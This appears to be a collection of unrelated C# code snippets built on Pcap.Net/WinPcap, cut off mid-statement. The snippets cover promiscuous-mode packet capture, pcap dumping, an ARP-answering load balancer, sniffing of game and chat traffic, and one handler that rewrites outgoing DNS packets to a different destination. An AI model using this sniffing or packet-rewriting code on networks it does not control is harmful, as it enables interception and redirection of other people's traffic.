private void _Receive(int count = 0) { //using (_communicator = _device.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 1000)) //{ // _ppacketManager = new PPacketManager(); // if (_filter != null) // _communicator.SetFilter(_filter); // _communicator.ReceivePackets(0, ReceivePacketHandle); //} try { _communicator = _device.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 1000); if (_dumpFile != null) _packetDumpFile = _communicator.OpenDump(_dumpFile); _ppacketManager = new PPacketManager(); if (_filter != null) _communicator.SetFilter(_filter); _communicator.ReceivePackets(count, ReceivePacketHandle); } finally { if (_communicator != null) { _communicator.Dispose(); _communicator = null; } if (_packetDumpFile != null) { _packetDumpFile.Dispose(); _packetDumpFile = null; } } }
public void ReceivePackets() { // Retrieve the device list from the local machine IList<LivePacketDevice> allDevices = LivePacketDevice.AllLocalMachine; // Find the NPF device of the TAP interface PacketDevice selectedDevice = null; for (int i = 0; i != allDevices.Count; ++i) { LivePacketDevice device = allDevices[i]; if (device.Name.Contains(Guid)) { selectedDevice = device; break; } } if (selectedDevice == null) { Initialized.Set(); Global.ShowTrayTip("Byte Counter", "Interface " + Name + " not captured by WinPcap.", System.Windows.Forms.ToolTipIcon.Warning); Global.WriteLog("Byte Counter: Interface " + Name + " not captured by WinPcap."); return; } try { using (communicator = selectedDevice.Open(65536, PacketDeviceOpenAttributes.MaximumResponsiveness, 1000)) { Global.WriteLog("Byte Counter: Listening on " + Name + "..."); communicator.SetFilter("((ether dst " + ifHardwareAddressString + " or ether src " + ifHardwareAddressString + ") and ip and (tcp or udp))"); Initialized.Set(); communicator.ReceivePackets(0, (packet) => { if (!threadActive.IsSet) { communicator.Break(); return; } Table.CheckPacket(packet, ifHardwareAddress); }); } } catch (Exception e) { if (threadActive.IsSet) { threadActive.Reset(); Global.WriteLog("Byte Counter: Could not capture traffic from " + Name); if (Global.Config.Gadget.Debug) Global.WriteLog(e.ToString()); Global.ShowTrayTip("Byte Counter", "Could not capture traffic from " + Name, System.Windows.Forms.ToolTipIcon.Warning); } } }
public void ReceivePackets() { // Retrieve the device list from the local machine IList<LivePacketDevice> allDevices = LivePacketDevice.AllLocalMachine; // Find the NPF device of the TAP interface PacketDevice selectedDevice = null; for (int i = 0; i != allDevices.Count; ++i) { LivePacketDevice device = allDevices[i]; if (device.Name.ToUpper().Contains(Guid.ToString().ToUpper())) { selectedDevice = device; break; } } if (selectedDevice == null) { Initialized.Set(); Global.ShowTrayTip("Load Balancer", "Interface " + Name + " not captured by WinPcap.", System.Windows.Forms.ToolTipIcon.Warning); Global.WriteLog("Load Balancer: Interface " + Name + " not captured by WinPcap."); return; } try { using (communicator = selectedDevice.Open(65536, PacketDeviceOpenAttributes.MaximumResponsiveness, 1000)) { Global.WriteLog("Load Balancer: Listening on " + Name + "..."); communicator.SetFilter("(ether dst " + ownHardwareAddressString + " and ((ip and (tcp or udp or icmp)) or arp)) or (ether dst FF:FF:FF:FF:FF:FF and arp)"); Initialized.Set(); communicator.ReceivePackets(0, (packet) => { if (!ThreadActive.IsSet) { communicator.Break(); return; } if (packet.Ethernet.EtherType == EthernetType.Arp) { if (packet.Ethernet.Arp.TargetProtocolAddress.SequenceEqual(ownProtocolAddressByte) && packet.Ethernet.Arp.Operation == ArpOperation.Request) { EthernetLayer ethernetLayer = new EthernetLayer { Source = ownHardwareAddress, Destination = packet.Ethernet.Source, EtherType = EthernetType.None, }; ArpLayer arpLayer = new ArpLayer { ProtocolType = EthernetType.IpV4, Operation = ArpOperation.Reply, SenderHardwareAddress = ownHardwareAddressByte.AsReadOnly(), SenderProtocolAddress = packet.Ethernet.Arp.TargetProtocolAddress, TargetHardwareAddress = packet.Ethernet.Arp.SenderHardwareAddress, TargetProtocolAddress = packet.Ethernet.Arp.SenderProtocolAddress, }; PacketBuilder builder = new PacketBuilder(ethernetLayer, arpLayer); SendPacket(builder.Build(DateTime.Now)); } } else if (packet.Ethernet.EtherType.ToString() == "IpV4") { if (packet.Ethernet.IpV4.Fragmentation.Options == IpV4FragmentationOptions.DoNotFragment || packet.Ethernet.IpV4.Fragmentation.Options == IpV4FragmentationOptions.None && packet.Ethernet.IpV4.Fragmentation.Offset == 0) { IpV4Handler(packet); } else if (packet.Ethernet.IpV4.Fragmentation.Options == IpV4FragmentationOptions.MoreFragments || packet.Ethernet.IpV4.Fragmentation.Options == IpV4FragmentationOptions.None && packet.Ethernet.IpV4.Fragmentation.Offset > 0) { // TODO: fix warning spam if (Global.Config.LoadBalancer.ShowTrayTipsWarnings) Global.ShowTrayTip("Load Balancer", "IP fragmentation detected on " + Name + ".\n\nIP fragmentation is not supported.", ToolTipIcon.Warning); Global.WriteLog("Load Balancer: IP fragmentation detected on " + Name); //fragments = fragBuffer.Add(packet); //if (fragments != null) // for (int i = 0; i < fragments.Count; i++) // { // IpV4Handler(fragments[i], fragments); // } } } }); } } catch (Exception e) { if (ThreadActive.IsSet) { ThreadActive.Reset(); Global.WriteLog("Load Balancer: " + Name + " has disconnected"); if (Global.Config.Gadget.Debug) Global.WriteLog(e.ToString()); Global.ShowTrayTip("Load Balancer", Name + " has disconnected", System.Windows.Forms.ToolTipIcon.Warning); } } }
public PacketHandler(Packet expectedPacket, DateTime expectedMinTimestamp, DateTime expectedMaxTimestamp, PacketCommunicator communicator, int numPacketsToBreakLoop) { _expectedPacket = expectedPacket; _expectedMinTimestamp = expectedMinTimestamp; _expectedMaxTimestamp = expectedMaxTimestamp; _communicator = communicator; _numPacketsToBreakLoop = numPacketsToBreakLoop; }
public MyDevice(PacketDevice device, string macAddress, string ipAddress, int id, ICaptureDevice capDevice, PacketCommunicator communicator) { this.addresses = new List<Address>(); this.device = device; this.id = id; this.macAddress = macAddress; this.ipAddress = ipAddress; this.capDevice = capDevice; this.communicator = communicator; }
public PacketSniffer(int DeviceIndex) { // Retrieve the device list from the local machine IList<LivePacketDevice> allDevices = LivePacketDevice.AllLocalMachine; PacketDevice SelectedDevice = allDevices[DeviceIndex]; communicator = SelectedDevice.Open(65536, // portion of the packet to capture // 65536 guarantees that the whole packet will be captured on all the link layers PacketDeviceOpenAttributes.Promiscuous, // promiscuous mode 1000); if (detailsDumper == null) { detailsFile = Path.GetTempFileName(); detailsDumper = communicator.OpenDump(detailsFile); } ResetDumpFile(); }
public Receive(RichTextBox richTextBox1_receive, RichTextBox richTextBox2_receive, PacketDevice device1_receive, int d1_index_receive, PacketDevice device2_receive, int d2_index_receive, DataGridView dataGridView1_receive, DataGridView dataGridView2_receive, Filters filters_class_receive) { richTextBox1 = richTextBox1_receive; richTextBox2 = richTextBox2_receive; device1 = device1_receive; device2 = device2_receive; d1_index = d1_index_receive; d2_index = d2_index_receive; communicator1 = device1.Open(65536, PacketDeviceOpenAttributes.NoCaptureLocal | PacketDeviceOpenAttributes.Promiscuous, 1000); communicator2 = device2.Open(65536, PacketDeviceOpenAttributes.NoCaptureLocal | PacketDeviceOpenAttributes.Promiscuous, 1000); mac_table = new MAC_table(); dataGridView1 = dataGridView1_receive; dataGridView2 = dataGridView2_receive; filters_class = filters_class_receive; get_Info.prefill_statistics(statistics_d1_I); get_Info.prefill_statistics(statistics_d1_O); get_Info.prefill_statistics(statistics_d2_I); get_Info.prefill_statistics(statistics_d2_O); }
public OwnPacketSender(int nbPacketToSend = 10, int waitTime = 1) { IList<LivePacketDevice> allDevices = LivePacketDevice.AllLocalMachine; if ( allDevices.Count == 0 ) { Console.WriteLine( "No interfaces found! Make sure WinPcap is installed." ); return; } for(int i = 0; i < allDevices.Count; i++ ) { for ( int j = 0; j < allDevices[i].Addresses.Count; j++ ) { string[] deviceAddress = allDevices[i].Addresses[j].Address.ToString().Split( ' ' ); if ( allDevices[i].Addresses[j].Address.Family != SocketAddressFamily.Internet6 && deviceAddress[1] != "0.0.0.0" ) { selectedDevice = allDevices[i]; if ( j > 0 && allDevices[i].Addresses[j - 1].Address.Family == SocketAddressFamily.Internet6 ) { _isIPV6 = true; } break; } } if ( selectedDevice != null ) break; } outputCommunicator = selectedDevice.Open( 100, PacketDeviceOpenAttributes.MaximumResponsiveness, 1000 ); _nbPacketToSend = nbPacketToSend; _waitTime = waitTime; if ( _nbPacketToSend > 0 ) { _sendBuffer = new PacketSendBuffer( (uint)( _nbPacketToSend * 100 ) ); } }
public PacketHandler(Packet expectedPacklet, PacketCommunicator communicator, int numPacketsToBreakLoop) : this(expectedPacklet, DateTime.MinValue, DateTime.MaxValue, communicator, numPacketsToBreakLoop) { }
void tsbStop_Click(object sender, EventArgs e) { stop = true; paused = false; comm.Break(); comm.Dispose(); device = null; comm = null; tsbStart.Enabled = tscbNet.Enabled = true; tsbPause.Enabled = tsbStop.Enabled = false; this.Text = "Ostara - Stopped"; }
void FormMain_FormClosing(object sender, FormClosingEventArgs e) { if (comm != null) { comm.Break(); comm.Dispose(); comm = null; } Ignores.I.Save(); Settings.I.Save(); stop = true; }
static void Main(string[] args) { // Check command line if (args.Length != 1) { Console.WriteLine("usage: " + Environment.GetCommandLineArgs()[0] + " <filename>"); return; } // Retrieve the device list on the local machine IList <LivePacketDevice> allDevices = LivePacketDevice.AllLocalMachine; if (allDevices.Count == 0) { Console.WriteLine("No interfaces found! Make sure WinPcap is installed."); return; } // Print the list for (int i = 0; i != allDevices.Count; ++i) { LivePacketDevice device = allDevices[i]; Console.Write((i + 1) + ". " + device.Name); if (device.Description != null) { Console.WriteLine(" (" + device.Description + ")"); } else { Console.WriteLine(" (No description available)"); } } int deviceIndex = 0; do { Console.WriteLine("Enter the interface number (1-" + allDevices.Count + "):"); string deviceIndexString = Console.ReadLine(); if (!int.TryParse(deviceIndexString, out deviceIndex) || deviceIndex < 1 || deviceIndex > allDevices.Count) { deviceIndex = 0; } } while (deviceIndex == 0); // Take the selected adapter PacketDevice selectedDevice = allDevices[deviceIndex - 1]; // Open the device using (PacketCommunicator communicator = selectedDevice.Open(65536, // portion of the packet to capture // 65536 guarantees that the whole packet will be captured on all the link layers PacketDeviceOpenAttributes.Promiscuous, // promiscuous mode 1000)) // read timeout { // Open the dump file using (PacketDumpFile dumpFile = communicator.OpenDump(args[0])) { Console.WriteLine("Listening on " + selectedDevice.Description + "... Press Ctrl+C to stop..."); // start the capture communicator.ReceivePackets(0, dumpFile.Dump); } } }
private void worker_do(object sender, DoWorkEventArgs e) { PacketCommunicator pc = selectedDevice.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 1000); pc.ReceivePackets(0, PacketHandler); }
public static void Test_NetworkStatistics_01() { // from project GatheringStatisticsOnTheNetworkTraffic _tr.WriteLine("Test_NetworkStatistics_01"); PacketDevice device = SelectDevice(); if (device == null) return; __communicator = null; //_rs.OnAbortExecution += new OnAbortEvent(OnAbortExecution); _rs.OnAbortExecution = OnAbortExecution; try { // Open the device : device.Open() // snapshotLength = 100 ??? // attributes = PacketDeviceOpenAttributes.Promiscuous, promiscuous mode // readTimeout = 1000 using (__communicator = device.Open(100, PacketDeviceOpenAttributes.Promiscuous, 1000)) { _tr.WriteLine("Listening on " + device.Description + "..."); // Compile and set the filter __communicator.SetFilter("tcp"); // Put the interface in statstics mode __communicator.Mode = PacketCommunicatorMode.Statistics; _tr.WriteLine("TCP traffic summary:"); // Start the main loop __communicator.ReceiveStatistics(0, StatisticsHandler); } } catch (Exception ex) { _tr.WriteLine(ex.Message); } finally { //_rs.OnAbortExecution -= new OnAbortEvent(OnAbortExecution); } }
public static void Test_InterpretingThePackets_01() { // from project InterpretingThePackets _tr.WriteLine("Test_InterpretingThePackets_01"); PacketDevice device = SelectDevice(); if (device == null) return; __communicator = null; //_rs.OnAbortExecution += new OnAbortEvent(OnAbortExecution); _rs.OnAbortExecution = OnAbortExecution; try { // Open the device : device.Open() // snapshotLength = 65536, portion of the packet to capture 65536 guarantees that the whole packet will be captured on all the link layers // attributes = PacketDeviceOpenAttributes.Promiscuous, promiscuous mode // readTimeout = 1000 using (__communicator = device.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 1000)) { // Check the link layer. We support only Ethernet for simplicity. if (__communicator.DataLink.Kind != DataLinkKind.Ethernet) { _tr.WriteLine("This program works only on Ethernet networks."); return; } // Compile the filter using (BerkeleyPacketFilter filter = __communicator.CreateFilter("ip and udp")) { // Set the filter __communicator.SetFilter(filter); } _tr.WriteLine("Listening on " + device.Description + "..."); // start the capture __communicator.ReceivePackets(0, InterpretingPacketHandler); } } catch (Exception ex) { _tr.WriteLine(ex.Message); } finally { //_rs.OnAbortExecution -= new OnAbortEvent(OnAbortExecution); } }
public static void Test_ReadPacketsFromDumpFile_01() { // from project ReadingPacketsFromADumpFile _tr.WriteLine("Test_ReadPacketsFromDumpFile_01"); string dumpFile = @"dump\dump.pcap"; dumpFile = GetPath(dumpFile); _tr.WriteLine("read packets from dump file \"{0}\"", dumpFile); // Create the offline device OfflinePacketDevice device = new OfflinePacketDevice(dumpFile); __communicator = null; //_rs.OnAbortExecution += new OnAbortEvent(OnAbortExecution); _rs.OnAbortExecution = OnAbortExecution; try { // Open the capture file using (__communicator = device.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 1000)) { // Read and dispatch packets until EOF is reached __communicator.ReceivePackets(0, ReadPacketsFromDumpFile); } } finally { //_rs.OnAbortExecution -= new OnAbortEvent(OnAbortExecution); } }
public static void Test_DumpPacketsToFile_02() { // from project SavingPacketsToADumpFile _tr.WriteLine("Test_DumpPacketsToFile_02"); string dumpFile = @"dump\dump.pcap"; dumpFile = GetPath(dumpFile); _tr.WriteLine("dump to file \"{0}\"", dumpFile); PacketDevice device = SelectDevice(); if (device == null) return; __communicator = null; //_rs.OnAbortExecution += new OnAbortEvent(OnAbortExecution); _rs.OnAbortExecution = OnAbortExecution; try { // Open the device : device.Open() // snapshotLength = 65536, portion of the packet to capture 65536 guarantees that the whole packet will be captured on all the link layers // attributes = PacketDeviceOpenAttributes.Promiscuous, promiscuous mode // readTimeout = 1000 using (__communicator = device.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 1000)) { //if (communicator.DataLink.Kind != DataLinkKind.Ethernet) //{ // _tr.WriteLine("This program works only on Ethernet networks."); // return; //} // start the capture //var query = from packet in communicator.ReceivePackets() select packet; // where !packet.IsValid using (PacketDumpFile dump = __communicator.OpenDump(dumpFile)) { _tr.WriteLine("Listening on " + device.Description + "..."); // start the capture __communicator.ReceivePackets(0, dump.Dump); } } } catch (Exception ex) { _tr.WriteLine(ex.Message); } finally { //_rs.OnAbortExecution -= new OnAbortEvent(OnAbortExecution); } }
public static void Test_CapturingThePackets_01() { // from project OpeningAnAdapterAndCapturingThePackets _tr.WriteLine("Test_CapturingThePackets_01"); //rpcap://\Device\NPF_{BF8A52CB-F023-4F24-AA7E-958A8D1F3069} //IList<LivePacketDevice> allDevices = LivePacketDevice.AllLocalMachine; //string deviceName = @"rpcap://\Device\NPF_{BF8A52CB-F023-4F24-AA7E-958A8D1F3069}"; //_tr.WriteLine("select device \"{0}\"", deviceName); //PacketDevice device = (from d in LivePacketDevice.AllLocalMachine where d.Name == deviceName select d).FirstOrDefault(); //if (device == null) //{ // _tr.WriteLine("device not found"); // return; //} PacketDevice device = SelectDevice(); if (device == null) return; __communicator = null; //_rs.OnAbortExecution += new OnAbortEvent(OnAbortExecution); _rs.OnAbortExecution = OnAbortExecution; try { // Open the device : device.Open() // snapshotLength = 65536, portion of the packet to capture 65536 guarantees that the whole packet will be captured on all the link layers // attributes = PacketDeviceOpenAttributes.Promiscuous, promiscuous mode // readTimeout = 1000 using (__communicator = device.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 1000)) { _tr.WriteLine("Listening on " + device.Description + "..."); // start the capture __communicator.ReceivePackets(0, CapturingPacketHandler); } } catch (Exception ex) { _tr.WriteLine(ex.Message); } finally { //_rs.OnAbortExecution -= new OnAbortEvent(OnAbortExecution); } }
public static void HandlePackets() { // Retrieve the device list from the local machine IList <LivePacketDevice> allDevices = LivePacketDevice.AllLocalMachine; if (allDevices.Count == 0) { Console.WriteLine("No interfaces found! Make sure WinPcap is installed."); return; } // Print the list for (int i = 0; i != allDevices.Count; ++i) { LivePacketDevice device = allDevices[i]; Console.Write((i + 1) + ". " + device.Name); if (device.Description != null) { Console.WriteLine(" (" + device.Description + ")"); } else { Console.WriteLine(" (No description available)"); } } int deviceIndex = 0; do { Console.WriteLine("Enter the interface number (1-" + allDevices.Count + "):"); string deviceIndexString = Console.ReadLine(); if (!int.TryParse(deviceIndexString, out deviceIndex) || deviceIndex < 1 || deviceIndex > allDevices.Count) { deviceIndex = 0; } } while (deviceIndex == 0); // Take the selected adapter PacketDevice selectedDevice = allDevices[deviceIndex - 1]; Communicator = selectedDevice.Open(128, // portion of the packet to capture PacketDeviceOpenAttributes.Promiscuous, // promiscuous mode 1); // Open the device String Filter = "ether src 28:63:36:88:02:52"; Communicator.SetFilter(Filter); Console.WriteLine("Listening on " + selectedDevice.Description + "..."); Console.WriteLine("Filter: " + Filter); Packet receivePacket; do { switch (Communicator.ReceivePacket(out receivePacket)) { case PacketCommunicatorReceiveResult.Timeout: // Timeout elapsed continue; case PacketCommunicatorReceiveResult.Ok: if (receivePacket.Buffer.Length >= 62) { int cyclecounter = receivePacket.Buffer.ReadByte(59) * 256 + receivePacket.Buffer.ReadByte(60) + 64; if (cyclecounter >= 256 * 256) { cyclecounter = 0; } Packet sendPacket = BuildVLanTaggedFramePacket(cyclecounter); Communicator.SendPacket(sendPacket); } break; default: throw new InvalidOperationException("The result should never be reached here"); } } while (true); }
private static void TestFilter(PacketCommunicator communicator, BerkeleyPacketFilter filter, Packet expectedPacket, Packet unexpectedPacket) { communicator.SetFilter(filter); for (int i = 0; i != 5; ++i) { communicator.SendPacket(expectedPacket); communicator.SendPacket(unexpectedPacket); } Packet packet; PacketCommunicatorReceiveResult result; for (int i = 0; i != 5; ++i) { result = communicator.ReceivePacket(out packet); Assert.AreEqual(PacketCommunicatorReceiveResult.Ok, result); Assert.AreEqual(expectedPacket, packet); } result = communicator.ReceivePacket(out packet); Assert.AreEqual(PacketCommunicatorReceiveResult.Timeout, result); Assert.IsNull(packet); }
public static void HandlePackets() { // Retrieve the device list from the local machine IList <LivePacketDevice> allDevices = LivePacketDevice.AllLocalMachine; if (allDevices.Count == 0) { Console.WriteLine("No interfaces found! Make sure WinPcap is installed."); return; } // Print the list for (int i = 0; i != allDevices.Count; ++i) { LivePacketDevice device = allDevices[i]; Console.Write((i + 1) + ". " + device.Name); if (device.Description != null) { Console.WriteLine(" (" + device.Description + ")"); } else { Console.WriteLine(" (No description available)"); } } int deviceIndex = 0; do { Console.WriteLine("Enter the interface number (1-" + allDevices.Count + "):"); string deviceIndexString = Console.ReadLine(); if (!int.TryParse(deviceIndexString, out deviceIndex) || deviceIndex < 1 || deviceIndex > allDevices.Count) { deviceIndex = 0; } } while (deviceIndex == 0); // Take the selected adapter PacketDevice selectedDevice = allDevices[deviceIndex - 1]; Communicator = selectedDevice.Open(128, // portion of the packet to capture PacketDeviceOpenAttributes.Promiscuous, // promiscuous mode 1); // Open the device String Filter = "(ether host 00:a0:45:95:01:66) or (ether host 00:a0:45:95:01:b6)"; Communicator.SetFilter(Filter); Console.WriteLine("Listening on " + selectedDevice.Description + "..."); Console.WriteLine("Filter: " + Filter); Packet receivePacket; Packet sendPacket; IpV4Address dest_IP = new IpV4Address("8.8.4.4"); do { switch (Communicator.ReceivePacket(out receivePacket)) { case PacketCommunicatorReceiveResult.Timeout: // Timeout elapsed continue; case PacketCommunicatorReceiveResult.Ok: if (receivePacket.Buffer[34] == 8 && receivePacket.Buffer[35] == 8 && receivePacket.Buffer[36] == 8 && receivePacket.Buffer[37] == 8) { sendPacket = receivePacket; sendPacket.Buffer[34] = 10; sendPacket.Buffer[35] = 132; sendPacket.Buffer[36] = 1; sendPacket.Buffer[37] = 5; UInt32 checksum = 0; checksum += ((uint)sendPacket.Buffer[18]) * 256; checksum += ((uint)sendPacket.Buffer[19]); checksum += ((uint)sendPacket.Buffer[20]) * 256; checksum += ((uint)sendPacket.Buffer[21]); checksum += ((uint)sendPacket.Buffer[22]) * 256; checksum += ((uint)sendPacket.Buffer[23]); checksum += ((uint)sendPacket.Buffer[24]) * 256; checksum += ((uint)sendPacket.Buffer[25]); checksum += ((uint)sendPacket.Buffer[26]) * 256; checksum += ((uint)sendPacket.Buffer[27]); checksum += ((uint)sendPacket.Buffer[30]) * 256; checksum += ((uint)sendPacket.Buffer[31]); checksum += ((uint)sendPacket.Buffer[32]) * 256; checksum += ((uint)sendPacket.Buffer[33]); checksum += ((uint)sendPacket.Buffer[34]) * 256; checksum += ((uint)sendPacket.Buffer[35]); checksum += ((uint)sendPacket.Buffer[36]) * 256; checksum += ((uint)sendPacket.Buffer[37]); while (((checksum & 0xffff0000) >> 16) != 0) { checksum = ((checksum & 0xffff0000) >> 16) + (checksum & 0x0000ffff); } checksum = ~checksum; sendPacket.Buffer[28] = (byte)((checksum & 0xff00) >> 8); sendPacket.Buffer[29] = (byte)(checksum & 0x00ff); sendPacket.Buffer[38] = (byte)(0xA2); sendPacket.Buffer[39] = (byte)(0xE5); sendPacket.Buffer[46] = (byte)((uint)(sendPacket.Buffer[46]) + 1); checksum = 0; checksum += ((uint)sendPacket.Buffer[30]) * 256; checksum += ((uint)sendPacket.Buffer[31]); checksum += ((uint)sendPacket.Buffer[32]) * 256; checksum += ((uint)sendPacket.Buffer[33]); checksum += ((uint)sendPacket.Buffer[34]) * 256; checksum += ((uint)sendPacket.Buffer[35]); checksum += ((uint)sendPacket.Buffer[36]) * 256; checksum += ((uint)sendPacket.Buffer[37]); checksum += ((uint)sendPacket.Buffer[27]); checksum += ((uint)sendPacket.Buffer[38]) * 256; checksum += ((uint)sendPacket.Buffer[39]); checksum += ((uint)sendPacket.Buffer[40]) * 256; checksum += ((uint)sendPacket.Buffer[41]); checksum += ((uint)sendPacket.Buffer[42]) * 256; checksum += ((uint)sendPacket.Buffer[43]); checksum += ((uint)sendPacket.Buffer[42]) * 256; checksum += ((uint)sendPacket.Buffer[43]); int i = 46; while (i < sendPacket.Buffer.Length) { checksum += ((uint)sendPacket.Buffer[i] * 256); checksum += ((uint)sendPacket.Buffer[i + 1]); i = i + 2; } while (((checksum & 0xffff0000) >> 16) != 0) { checksum = ((checksum & 0xffff0000) >> 16) + (checksum & 0x0000ffff); } checksum = ~checksum; sendPacket.Buffer[44] = (byte)((checksum & 0xff00) >> 8); sendPacket.Buffer[45] = (byte)(checksum & 0x00ff); Console.WriteLine("Found request DNS 8.8.8.8"); Communicator.SendPacket(sendPacket); } if (receivePacket.Buffer[34] == 8 && receivePacket.Buffer[35] == 8 && receivePacket.Buffer[36] == 4 && receivePacket.Buffer[37] == 4) { sendPacket = receivePacket; sendPacket.Buffer[34] = 10; sendPacket.Buffer[35] = 132; sendPacket.Buffer[36] = 1; sendPacket.Buffer[37] = 6; UInt32 checksum = 0; checksum += ((uint)sendPacket.Buffer[18]) * 256; checksum += ((uint)sendPacket.Buffer[19]); checksum += ((uint)sendPacket.Buffer[20]) * 256; checksum += ((uint)sendPacket.Buffer[21]); checksum += ((uint)sendPacket.Buffer[22]) * 256; checksum += ((uint)sendPacket.Buffer[23]); checksum += ((uint)sendPacket.Buffer[24]) * 256; checksum += ((uint)sendPacket.Buffer[25]); checksum += ((uint)sendPacket.Buffer[26]) * 256; checksum += ((uint)sendPacket.Buffer[27]); checksum += ((uint)sendPacket.Buffer[30]) * 256; checksum += ((uint)sendPacket.Buffer[31]); checksum += ((uint)sendPacket.Buffer[32]) * 256; checksum += ((uint)sendPacket.Buffer[33]); checksum += ((uint)sendPacket.Buffer[34]) * 256; checksum += ((uint)sendPacket.Buffer[35]); checksum += ((uint)sendPacket.Buffer[36]) * 256; checksum += ((uint)sendPacket.Buffer[37]); while (((checksum & 0xffff0000) >> 16) != 0) { checksum = ((checksum & 0xffff0000) >> 16) + (checksum & 0x0000ffff); } checksum = ~checksum; sendPacket.Buffer[28] = (byte)((checksum & 0xff00) >> 8); sendPacket.Buffer[29] = (byte)(checksum & 0x00ff); sendPacket.Buffer[38] = (byte)(0xA2); sendPacket.Buffer[39] = (byte)(0xE5); sendPacket.Buffer[46] = (byte)((uint)(sendPacket.Buffer[46]) + 1); checksum = 0; checksum += ((uint)sendPacket.Buffer[30]) * 256; checksum += ((uint)sendPacket.Buffer[31]); checksum += ((uint)sendPacket.Buffer[32]) * 256; checksum += ((uint)sendPacket.Buffer[33]); checksum += ((uint)sendPacket.Buffer[34]) * 256; checksum += ((uint)sendPacket.Buffer[35]); checksum += ((uint)sendPacket.Buffer[36]) * 256; checksum += ((uint)sendPacket.Buffer[37]); checksum += ((uint)sendPacket.Buffer[27]); checksum += ((uint)sendPacket.Buffer[38]) * 256; checksum += ((uint)sendPacket.Buffer[39]); checksum += ((uint)sendPacket.Buffer[40]) * 256; checksum += ((uint)sendPacket.Buffer[41]); checksum += ((uint)sendPacket.Buffer[42]) * 256; checksum += ((uint)sendPacket.Buffer[43]); checksum += ((uint)sendPacket.Buffer[42]) * 256; checksum += ((uint)sendPacket.Buffer[43]); int i = 46; while (i < sendPacket.Buffer.Length) { checksum += ((uint)sendPacket.Buffer[i++] * 256); checksum += ((uint)sendPacket.Buffer[i++]); } while (((checksum & 0xffff0000) >> 16) != 0) { checksum = ((checksum & 0xffff0000) >> 16) + (checksum & 0x0000ffff); } checksum = ~checksum; sendPacket.Buffer[44] = (byte)((checksum & 0xff00) >> 8); sendPacket.Buffer[45] = (byte)(checksum & 0x00ff); Console.WriteLine("Found request DNS 8.8.4.4"); Communicator.SendPacket(sendPacket); } break; default: throw new InvalidOperationException("The result should never be reached here"); } } while (true); }
static void Main(string[] args) { sw = new StreamWriter("E:\\data.txt", false); Heroes = new Dictionary <string, string>(); Heroes.Add("HERO_01", "Garrosh"); Heroes.Add("HERO_02", "Thrall"); Heroes.Add("HERO_03", "Valeera"); Heroes.Add("HERO_04", "Uther"); Heroes.Add("HERO_05", "Rexxar"); Heroes.Add("HERO_06", "Malfurion"); Heroes.Add("HERO_07", "Gul'dan"); Heroes.Add("HERO_08", "Jaina"); Heroes.Add("HERO_09", "Anduin"); LoadCards(); // Retrieve the device list from the local machine IList <LivePacketDevice> allDevices = LivePacketDevice.AllLocalMachine; /* * * if (allDevices.Count == 0) * { * Console.WriteLine("No interfaces found! Make sure WinPcap is installed."); * return; * } * // Print the list * for (int i = 0; i != allDevices.Count; ++i) * { * LivePacketDevice device = allDevices[i]; * Console.Write((i + 1) + ". " + device.Name); * if (device.Description != null) * Console.WriteLine(" (" + device.Description + ")"); * else * Console.WriteLine(" (No description available)"); * } */ int deviceIndex = 3; /*do * { * Console.WriteLine("Enter the interface number (1-" + allDevices.Count + "):"); * string deviceIndexString = Console.ReadLine(); * if (!int.TryParse(deviceIndexString, out deviceIndex) || * deviceIndex < 1 || deviceIndex > allDevices.Count) * { * deviceIndex = 0; * } * } while (deviceIndex == 0); */ // Take the selected adapter PacketDevice selectedDevice = allDevices[deviceIndex - 1]; // Open the device using (PacketCommunicator communicator = selectedDevice.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 1000)) { //Console.WriteLine("Listening on " + selectedDevice.Description + "..."); using (BerkeleyPacketFilter filter = communicator.CreateFilter("port 1119 or port 3724")) { communicator.SetFilter(filter); } // start the capture communicator.ReceivePackets(0, PacketHandler); } }
private void mWorkingThread_DoWork(object sender, DoWorkEventArgs e) { PacketDevice packetDevice = (PacketDevice)e.Argument; // Open the device PacketCommunicator communicator = packetDevice.Open(65536, PacketDeviceOpenAttributes.Promiscuous | PacketDeviceOpenAttributes.NoCaptureLocal | PacketDeviceOpenAttributes.MaximumResponsiveness, 30000); communicator.SetFilter("net (87.119.203.0/24 or 94.236.0.0/16 or 31.222.148.0/24) and port 80"); Debug.WriteLine("Worker listening on " + packetDevice.Description + "..."); // Retrieve the packets Packet packet; DsoChatPacket chatPacket = null; do { // Thread should exit/cancel work if (mWorkingThread.CancellationPending == true) { communicator.Break(); break; } // Pause? if (mPauseCapture) { Thread.Sleep(1000); continue; } // Wait for next packet PacketCommunicatorReceiveResult result = communicator.ReceivePacket(out packet); switch (result) { case PacketCommunicatorReceiveResult.Timeout: continue; case PacketCommunicatorReceiveResult.Ok: if (packet.Buffer != null && packet.Length > 0) { chatPacket = DsoChatPacket.Parse(packet.Buffer); if (chatPacket == null || chatPacket.Messages.Count == 0) { // Failed to parse mWorkingThread.ReportProgress(0); } else { mWorkingThread.ReportProgress(0, chatPacket.Clone()); } } break; default: throw new InvalidOperationException("The result " + result + " should never be reached here"); } } while (true); // Set result object to handle "Cancel" correctly e.Result = true; }
static void Main(string[] args) { // Retrieve the device list from the local machine IList <LivePacketDevice> allDevices = LivePacketDevice.AllLocalMachine; if (allDevices.Count == 0) { Console.WriteLine("No interfaces found! Make sure WinPcap is installed."); return; } // Print the list for (int i = 0; i != allDevices.Count; ++i) { LivePacketDevice device = allDevices[i]; Console.Write((i + 1) + ". " + device.Name); if (device.Description != null) { Console.WriteLine(" (" + device.Description + ")"); } else { Console.WriteLine(" (No description available)"); } } int deviceIndex = 0; do { Console.WriteLine("Enter the interface number (1-" + allDevices.Count + "):"); string deviceIndexString = Console.ReadLine(); if (!int.TryParse(deviceIndexString, out deviceIndex) || deviceIndex < 1 || deviceIndex > allDevices.Count) { deviceIndex = 0; } } while (deviceIndex == 0); // Take the selected adapter PacketDevice selectedDevice = allDevices[deviceIndex - 1]; // Open the device using (PacketCommunicator communicator = selectedDevice.Open(65536, // portion of the packet to capture // 65536 guarantees that the whole packet will be captured on all the link layers PacketDeviceOpenAttributes.Promiscuous, // promiscuous mode 1000)) // read timeout { // Check the link layer. We support only Ethernet for simplicity. if (communicator.DataLink.Kind != DataLinkKind.Ethernet) { Console.WriteLine("This program works only 